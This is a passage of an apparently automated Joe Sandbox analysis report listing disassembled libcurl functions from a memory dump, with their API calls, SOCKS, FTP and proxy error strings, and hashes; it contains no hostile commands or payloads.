                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: AllocateHeap
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1279760036-0
                                                                                                                                      • Opcode ID: 29b614a129675e1cbd28d18c295d936db675d93d6b352955525ad535dee050dc
                                                                                                                                      • Instruction ID: 6d2b13a6996faf240da423e0c2c78f53670301296098d0866475f77088da82ae
                                                                                                                                      • Opcode Fuzzy Hash: 29b614a129675e1cbd28d18c295d936db675d93d6b352955525ad535dee050dc
                                                                                                                                      • Instruction Fuzzy Hash: 01F0B432A05625F7EB215B768C41BCE7758BF42BB1F104066E8A89F580DB7CE90197B0
                                                                                                                                      Function 6BD98A20 Relevance: 1.5, APIs: 1, Instructions: 26networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • socket.WS2_32(00000017,00000002,00000000), ref: 6BD98A3D
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: socket
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 98920635-0
                                                                                                                                      • Opcode ID: 9f5cff0be1c1deaac5b65c1b3f09260fecc1cda899c04d907aed9834f9be6afd
                                                                                                                                      • Instruction ID: 29efceb6417b3a8591400a00c902259b46da9f619ec0b99cde1e37ed56c01b47
                                                                                                                                      • Opcode Fuzzy Hash: 9f5cff0be1c1deaac5b65c1b3f09260fecc1cda899c04d907aed9834f9be6afd
                                                                                                                                      • Instruction Fuzzy Hash: FBE04F342843049AEA005A68BC46FA437A84B05B79F404291F52C9F6E1D265E841B621
                                                                                                                                      Function 6BDAA660 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • ioctlsocket.WS2_32(00000000,8004667E,6BD84554), ref: 6BDAA67A
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ioctlsocket
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3577187118-0
                                                                                                                                      • Opcode ID: 9e1476d2143abd8a3568ab35d9b6f936f7c08185a47a3bba4125d2798a9b1bcd
                                                                                                                                      • Instruction ID: 62ccf898501277766f4b06b53f892f3dbfbcea2e541c8b4806fb9b35cd954aeb
                                                                                                                                      • Opcode Fuzzy Hash: 9e1476d2143abd8a3568ab35d9b6f936f7c08185a47a3bba4125d2798a9b1bcd
                                                                                                                                      • Instruction Fuzzy Hash: 6ED0CA3240020CEFCB009EB1C8448DABBADEA04229B00C03AB9198A020EA34EA61DF84
                                                                                                                                      Function 6BDD80B5 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • _free.LIBCMT ref: 6BDD80C8
                                                                                                                                        • Part of subcall function 6BDDF7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6BDE5EE0,6BE038A0,00000000,6BE038A0,00000000,?,6BDE5F07,6BE038A0,00000007,6BE038A0,?,6BDE532A,6BE038A0), ref: 6BDDF800
                                                                                                                                        • Part of subcall function 6BDDF7EA: GetLastError.KERNEL32(6BE038A0,?,6BDE5EE0,6BE038A0,00000000,6BE038A0,00000000,?,6BDE5F07,6BE038A0,00000007,6BE038A0,?,6BDE532A,6BE038A0,6BE038A0), ref: 6BDDF812
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorFreeHeapLast_free
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1353095263-0
                                                                                                                                      • Opcode ID: 5afe6c15535deb277c8b329545069c8780a45f9170d198b2731f438d8d7a6a1f
                                                                                                                                      • Instruction ID: 03632e53d3becdc3caf3ea8607c5f3c29a6dfdfb0a48cef7247dcc64e50acc65
                                                                                                                                      • Opcode Fuzzy Hash: 5afe6c15535deb277c8b329545069c8780a45f9170d198b2731f438d8d7a6a1f
                                                                                                                                      • Instruction Fuzzy Hash: 68C08C71400208FBDB008B91C806E8E7BA8EB80268F200044E4041B240CBB1EF009690

                                                                                                                                      Non-executed Functions

                                                                                                                                      Function 6BD8EEA0 Relevance: 67.2, APIs: 23, Strings: 15, Instructions: 663networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD8EFA1
                                                                                                                                      • _strncpy.LIBCMT ref: 6BD8EFC7
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD8EFE8
                                                                                                                                      • inet_pton.WS2_32(00000017,?,?), ref: 6BD8F006
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD8F078
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD8F0A9
                                                                                                                                      • curl_pushheader_bynum.LIBCURL(?,00000000,00000401), ref: 6BD8F135
                                                                                                                                      • getsockname.WS2_32(?,?,?), ref: 6BD8F1CC
                                                                                                                                      • WSAGetLastError.WS2_32(?,00000100), ref: 6BD8F1E2
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD8F2ED
                                                                                                                                      • bind.WS2_32(FFFFFFFF,00000017,00000080), ref: 6BD8F396
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD8F3A4
                                                                                                                                      • getsockname.WS2_32(?,00000017,00000080), ref: 6BD8F407
                                                                                                                                      • WSAGetLastError.WS2_32(?,00000100), ref: 6BD8F452
                                                                                                                                        • Part of subcall function 6BDBA0E0: GetLastError.KERNEL32(?,?,00000100), ref: 6BDBA0E7
                                                                                                                                        • Part of subcall function 6BDB05D0: curl_mvsnprintf.LIBCURL(?,00000100,6BDAC830,?), ref: 6BDB0610
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLast$___from_strstr_to_strchr$getsockname$_strncpybindcurl_mvsnprintfcurl_pushheader_bynuminet_pton
                                                                                                                                      • String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports!$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$socket failure: %s$V4u$V4u`Y5up"5u
                                                                                                                                      • API String ID: 1437543408-683615916
                                                                                                                                      • Opcode ID: 4794cb330379ee396b8f6a3b78beb10cf086189c359f57eb21b0bd4c0064af98
                                                                                                                                      • Instruction ID: a8b66708dd0a9f4d286e9d5ae2f2d6f2dec608a70a41a2745288d71eace38836
                                                                                                                                      • Opcode Fuzzy Hash: 4794cb330379ee396b8f6a3b78beb10cf086189c359f57eb21b0bd4c0064af98
                                                                                                                                      • Instruction Fuzzy Hash: D932F8B1D401299BDF208F24CC41BEEBBB9AF45325F0405E9E44DAB140DB3A9E959FB1
                                                                                                                                      Function 6BDB75D0 Relevance: 56.9, APIs: 1, Strings: 31, Instructions: 939COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      • Failed to receive SOCKS5 connect request ack., xrefs: 6BDB809F, 6BDB81CE
                                                                                                                                      • Can't complete SOCKS5 connection to %s. (%d), xrefs: 6BDB8118
                                                                                                                                      • Failed to send SOCKS5 sub-negotiation request., xrefs: 6BDB7BA7
                                                                                                                                      • connection to proxy closed, xrefs: 6BDB821A
                                                                                                                                      • SOCKS5 connection to %s not supported, xrefs: 6BDB7EDE
                                                                                                                                      • Connection to proxy closed, xrefs: 6BDB790D
                                                                                                                                      • SOCKS5 connect to IPv6 %s (locally resolved), xrefs: 6BDB7EB5
                                                                                                                                      • SOCKS5 reply has wrong version, version should be 5., xrefs: 6BDB80DE
                                                                                                                                      • Received invalid version in initial SOCKS5 response., xrefs: 6BDB7940
                                                                                                                                      • No authentication method was acceptable., xrefs: 6BDB7A57
                                                                                                                                      • SOCKS5 GSS-API protection not yet implemented., xrefs: 6BDB802E
                                                                                                                                      • SOCKS5 connect to %s:%d (remotely resolved), xrefs: 6BDB7F70
                                                                                                                                      • unknown, xrefs: 6BDB760C
                                                                                                                                      • Excessive user name length for proxy auth, xrefs: 6BDB7AC3
                                                                                                                                      • SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu], xrefs: 6BDB7712
                                                                                                                                      • Excessive password length for proxy auth, xrefs: 6BDB7B23
                                                                                                                                      • Unable to receive initial SOCKS5 response., xrefs: 6BDB7861
                                                                                                                                      • Failed to send SOCKS5 connect request., xrefs: 6BDB7FED
                                                                                                                                      • User was rejected by the SOCKS5 server (%d %d)., xrefs: 6BDB7C75
                                                                                                                                      • SOCKS5 GSSAPI per-message authentication is not supported., xrefs: 6BDB7A2F
                                                                                                                                      • Unable to receive SOCKS5 sub-negotiation response., xrefs: 6BDB7C2C
                                                                                                                                      • SOCKS5 connect to IPv4 %s (locally resolved), xrefs: 6BDB7DD3
                                                                                                                                      • SOCKS5 reply has wrong address type., xrefs: 6BDB81F2
                                                                                                                                      • SOCKS5 request granted., xrefs: 6BDB8259
                                                                                                                                      • Unable to negotiate SOCKS5 GSS-API context., xrefs: 6BDB7A0B
                                                                                                                                      • SOCKS5: connecting to HTTP proxy %s port %d, xrefs: 6BDB76ED
                                                                                                                                      • Undocumented SOCKS5 mode attempted to be used by server., xrefs: 6BDB7A7B
                                                                                                                                      • Failed to resolve "%s" for SOCKS5 connect., xrefs: 6BDB7F06
                                                                                                                                      • :%d, xrefs: 6BDB7D63
                                                                                                                                      • warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %lu, xrefs: 6BDB7737
                                                                                                                                      • Unable to send initial SOCKS5 request., xrefs: 6BDB78B0
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_mvsnprintf$curl_msnprintf
                                                                                                                                      • String ID: :%d$Can't complete SOCKS5 connection to %s. (%d)$Connection to proxy closed$Excessive password length for proxy auth$Excessive user name length for proxy auth$Failed to receive SOCKS5 connect request ack.$Failed to resolve "%s" for SOCKS5 connect.$Failed to send SOCKS5 connect request.$Failed to send SOCKS5 sub-negotiation request.$No authentication method was acceptable.$Received invalid version in initial SOCKS5 response.$SOCKS5 GSS-API protection not yet implemented.$SOCKS5 GSSAPI per-message authentication is not supported.$SOCKS5 connect to %s:%d (remotely resolved)$SOCKS5 connect to IPv4 %s (locally resolved)$SOCKS5 connect to IPv6 %s (locally resolved)$SOCKS5 connection to %s not supported$SOCKS5 reply has wrong address type.$SOCKS5 reply has wrong version, version should be 5.$SOCKS5 request granted.$SOCKS5: connecting to HTTP proxy %s port %d$SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu]$Unable to negotiate SOCKS5 GSS-API context.$Unable to receive SOCKS5 sub-negotiation response.$Unable to receive initial SOCKS5 response.$Unable to send initial SOCKS5 request.$Undocumented SOCKS5 mode attempted to be used by server.$User was rejected by the SOCKS5 server (%d %d).$connection to proxy closed$unknown$warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %lu
                                                                                                                                      • API String ID: 2260702874-704893380
                                                                                                                                      • Opcode ID: 9e2b464b4aeb47fd902e2ff01b57d0cca474d17cecf81a394da2b8da5e88e281
                                                                                                                                      • Instruction ID: 3c29b6e66a6142b56b055b469682894cb7932b423d3816f1abb1491201a93597
                                                                                                                                      • Opcode Fuzzy Hash: 9e2b464b4aeb47fd902e2ff01b57d0cca474d17cecf81a394da2b8da5e88e281
                                                                                                                                      • Instruction Fuzzy Hash: 5F62F3B1A042089BDB15CF24DC81BEEBBB5EF45364F0040EED84E9F241D73A9A45DB61
                                                                                                                                      Function 6BD839A0 Relevance: 40.6, APIs: 13, Strings: 10, Instructions: 395networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_pushheader_bynum.LIBCURL(?,?,?,?,?,00000100,?,?,?,?,?,?,?,?,?,?), ref: 6BD83AC2
                                                                                                                                      • inet_pton.WS2_32(00000017,?,?), ref: 6BD83BA2
                                                                                                                                      • htons.WS2_32(?), ref: 6BD83BB9
                                                                                                                                      • inet_pton.WS2_32(00000002,?,?), ref: 6BD83CED
                                                                                                                                      • htons.WS2_32(?), ref: 6BD83D08
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6BDA6C24), ref: 6BDB06EF
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6BDB072F
                                                                                                                                      • bind.WS2_32(?,?,00000000), ref: 6BD83DAF
                                                                                                                                      • htons.WS2_32(?), ref: 6BD83DE9
                                                                                                                                      • bind.WS2_32(?,?,00000000), ref: 6BD83E02
                                                                                                                                      • getsockname.WS2_32(?,?,00000080), ref: 6BD83E3D
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD83E4B
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD83E91
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: htons$ErrorLastbindinet_pton$curl_msnprintfcurl_mvsnprintfcurl_pushheader_bynumgetsockname
                                                                                                                                      • String ID: Bind to local port %hu failed, trying next$Couldn't bind to '%s'$Couldn't bind to interface '%s'$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$getsockname() failed with errno %d: %s$V4u$V4u`Y5up"5u
                                                                                                                                      • API String ID: 2165106075-1582285822
                                                                                                                                      • Opcode ID: 552163d914b82400eb7b8bbd059a40496932458049c56a98cfd2555d73670d1f
                                                                                                                                      • Instruction ID: b5d68c710bbcfe9e06b058177015cd6966521f18b3c2a420fa16f96bee24fc08
                                                                                                                                      • Opcode Fuzzy Hash: 552163d914b82400eb7b8bbd059a40496932458049c56a98cfd2555d73670d1f
                                                                                                                                      • Instruction Fuzzy Hash: F3E1B275901219ABDB208F64CC85FAA77B8EF05365F0041E9F90DDB241EB399A459F60
                                                                                                                                      Function 6BDB6F40 Relevance: 33.8, APIs: 1, Strings: 18, Instructions: 550COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      • connection to proxy closed, xrefs: 6BDB73BA
                                                                                                                                      • SOCKS4 connection to %s not supported, xrefs: 6BDB71D6
                                                                                                                                      • Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 6BDB7495
                                                                                                                                      • Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 6BDB74DC
                                                                                                                                      • SOCKS4%s request granted., xrefs: 6BDB744B
                                                                                                                                      • Hostname '%s' was found, xrefs: 6BDB7113
                                                                                                                                      • SOCKS4 non-blocking resolve of %s, xrefs: 6BDB7064
                                                                                                                                      • Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 6BDB7523
                                                                                                                                      • SOCKS4: Failed receiving connect request ack: %s, xrefs: 6BDB7392
                                                                                                                                      • Too long SOCKS proxy user name, can't use!, xrefs: 6BDB70C9
                                                                                                                                      • Failed to send SOCKS4 connect request., xrefs: 6BDB72D1
                                                                                                                                      • Failed to resolve "%s" for SOCKS4 connect., xrefs: 6BDB71FD
                                                                                                                                      • SOCKS4 communication to %s:%d, xrefs: 6BDB700A
                                                                                                                                      • SOCKS4%s: connecting to HTTP proxy %s port %d, xrefs: 6BDB6FF6
                                                                                                                                      • SOCKS4 reply has wrong version, version should be 0., xrefs: 6BDB7403
                                                                                                                                      • SOCKS4: too long host name, xrefs: 6BDB72F5
                                                                                                                                      • SOCKS4 connect to IPv4 %s (locally resolved), xrefs: 6BDB7188
                                                                                                                                      • Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 6BDB756A
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_mvsnprintf
                                                                                                                                      • String ID: Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$Hostname '%s' was found$SOCKS4 communication to %s:%d$SOCKS4 connect to IPv4 %s (locally resolved)$SOCKS4 connection to %s not supported$SOCKS4 non-blocking resolve of %s$SOCKS4 reply has wrong version, version should be 0.$SOCKS4%s request granted.$SOCKS4%s: connecting to HTTP proxy %s port %d$SOCKS4: Failed receiving connect request ack: %s$SOCKS4: too long host name$Too long SOCKS proxy user name, can't use!$connection to proxy closed
                                                                                                                                      • API String ID: 3418963191-1991471026
                                                                                                                                      • Opcode ID: 1233cd78e3e55e9171baad59d46448965f06e7ff7f8796a275921ad35be20e90
                                                                                                                                      • Instruction ID: 025acde62ff301300246b5790a2f997317d5830ab4c05179285b6a5f8b916ab8
                                                                                                                                      • Opcode Fuzzy Hash: 1233cd78e3e55e9171baad59d46448965f06e7ff7f8796a275921ad35be20e90
                                                                                                                                      • Instruction Fuzzy Hash: BC12F4B1A04144AFCB14CFB89C51AAEFBF8EF04364F0441AAE85A9F241D739E5059BB0
                                                                                                                                      Function 6BDBAE50 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 164libraryloadernetworkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • WSAStartup.WS2_32(00000202,?), ref: 6BDBAE75
                                                                                                                                      • WSACleanup.WS2_32 ref: 6BDBAE90
                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32,?,?), ref: 6BDBAEBF
                                                                                                                                      • GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 6BDBAEDD
                                                                                                                                      • _strpbrk.LIBCMT ref: 6BDBAEEF
                                                                                                                                      • LoadLibraryA.KERNEL32(iphlpapi.dll,?,?), ref: 6BDBAF16
                                                                                                                                      • GetProcAddress.KERNEL32(00000000,AddDllDirectory), ref: 6BDBAF2D
                                                                                                                                      • GetSystemDirectoryA.KERNEL32(00000000,00000000), ref: 6BDBAF50
                                                                                                                                      • GetSystemDirectoryA.KERNEL32(00000000,?), ref: 6BDBAF7E
                                                                                                                                      • LoadLibraryA.KERNEL32(00000000,?,?,?), ref: 6BDBAFDB
                                                                                                                                      • GetProcAddress.KERNEL32(00000000,if_nametoindex), ref: 6BDBAFFE
                                                                                                                                      • QueryPerformanceFrequency.KERNEL32(6BE03B50,?,?,?,?,?,?), ref: 6BDBB033
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: AddressProc$DirectoryLibraryLoadSystem$CleanupFrequencyHandleModulePerformanceQueryStartup_strpbrk
                                                                                                                                      • String ID: AddDllDirectory$LoadLibraryExA$if_nametoindex$iphlpapi.dll$kernel32$pGo
                                                                                                                                      • API String ID: 945793807-870381569
                                                                                                                                      • Opcode ID: 3240067be8ba58e499b6ead9fe650c317248f89b9e77f844121f6809e9b15f36
                                                                                                                                      • Instruction ID: c7ff8e2ab9f8ffcc04235fac715961e007b29e13dd0467c4f19a0c6717045f8a
                                                                                                                                      • Opcode Fuzzy Hash: 3240067be8ba58e499b6ead9fe650c317248f89b9e77f844121f6809e9b15f36
                                                                                                                                      • Instruction Fuzzy Hash: 2A513AB0604301EBEB114B748C89BA97BA5AF4B734F1540A9F8479F281EF39D9069B21
                                                                                                                                      Function 6BD93A10 Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 449COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_getenv.LIBCURL(NO_PROXY,00000000), ref: 6BD93B74
                                                                                                                                        • Part of subcall function 6BD94770: curl_url.LIBCURL(00000000,00000000,6BD92F71), ref: 6BD9478E
                                                                                                                                        • Part of subcall function 6BD94770: curl_url_set.LIBCURL(00000000,00000000,00000000,00000208,00000000,00000000,6BD92F71), ref: 6BD947A6
                                                                                                                                        • Part of subcall function 6BD94770: curl_url_get.LIBCURL(6BD92F71,00000001,00000000,00000000,?,00000000,00000000,6BD92F71), ref: 6BD947C0
                                                                                                                                        • Part of subcall function 6BD94770: curl_url_cleanup.LIBCURL(6BD92F71,?,?,?,?,00000000,00000000,6BD92F71), ref: 6BD94A84
                                                                                                                                      • curl_getenv.LIBCURL(no_proxy), ref: 6BD93B5C
                                                                                                                                        • Part of subcall function 6BD96310: GetEnvironmentVariableA.KERNEL32(?,00000000,00000001), ref: 6BD9633A
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD93BF7
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD93C4D
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD93C80
                                                                                                                                      • curl_getenv.LIBCURL(?), ref: 6BD93D7B
                                                                                                                                      • curl_getenv.LIBCURL(?,?,?,00000080,?,?,00000000), ref: 6BD93DC0
                                                                                                                                      • curl_getenv.LIBCURL(all_proxy,00000000), ref: 6BD93DE0
                                                                                                                                      • curl_getenv.LIBCURL(ALL_PROXY,?,00000000), ref: 6BD93DFA
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_getenv$___from_strstr_to_strchr$EnvironmentVariablecurl_urlcurl_url_cleanupcurl_url_getcurl_url_set
                                                                                                                                      • String ID: ALL_PROXY$NO_PROXY$Uses proxy env variable %s == '%s'$_proxy$all_proxy$http_proxy$memory shortage$no_proxy
                                                                                                                                      • API String ID: 3877414117-1021110354
                                                                                                                                      • Opcode ID: ed22a1ea7f7b8814ed913d9c13c73dc8a581b016a69caa0f4a9730291d322dfd
                                                                                                                                      • Instruction ID: ce4e782c9d0d91e23c49a8b19d9dc3ef65e0011d5ad13c682a72557559261d96
                                                                                                                                      • Opcode Fuzzy Hash: ed22a1ea7f7b8814ed913d9c13c73dc8a581b016a69caa0f4a9730291d322dfd
